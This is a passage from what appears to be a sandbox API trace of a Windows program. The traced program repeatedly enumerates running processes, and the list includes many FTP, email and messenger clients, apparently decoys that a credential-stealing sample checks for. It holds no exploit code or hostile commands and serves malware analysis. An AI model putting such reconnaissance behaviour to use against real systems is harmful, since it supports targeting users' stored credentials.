lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0133.468] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.470] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0133.472] CloseHandle (hObject=0x2068) returned 1 [0133.472] Sleep (dwMilliseconds=0x64) [0133.605] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fb0 [0133.633] Process32First (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.637] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.640] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.642] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.645] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.647] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.649] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.652] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.654] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.656] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.659] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.661] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.663] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.667] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.669] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.672] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.674] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.677] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.680] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.682] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.684] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0133.686] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.689] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.691] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0133.693] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0133.696] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0133.723] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.725] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0133.728] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0133.731] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0133.733] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.735] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.738] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0133.740] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0133.742] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.744] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.746] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.749] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.751] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.753] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.755] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.757] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0133.760] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0133.762] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0133.764] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0133.765] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0133.767] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0133.770] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0133.772] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0133.773] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0133.775] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0133.777] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0133.778] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0133.780] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0133.782] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0133.785] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0133.787] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0133.790] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0133.793] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0133.796] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0133.799] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0133.805] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0133.808] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0133.811] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0133.814] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0133.817] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0133.821] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0133.824] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0133.828] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0133.831] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0133.841] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0133.844] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0133.848] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0133.851] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0133.854] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0133.857] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0133.860] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0133.862] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0133.865] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0133.868] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, 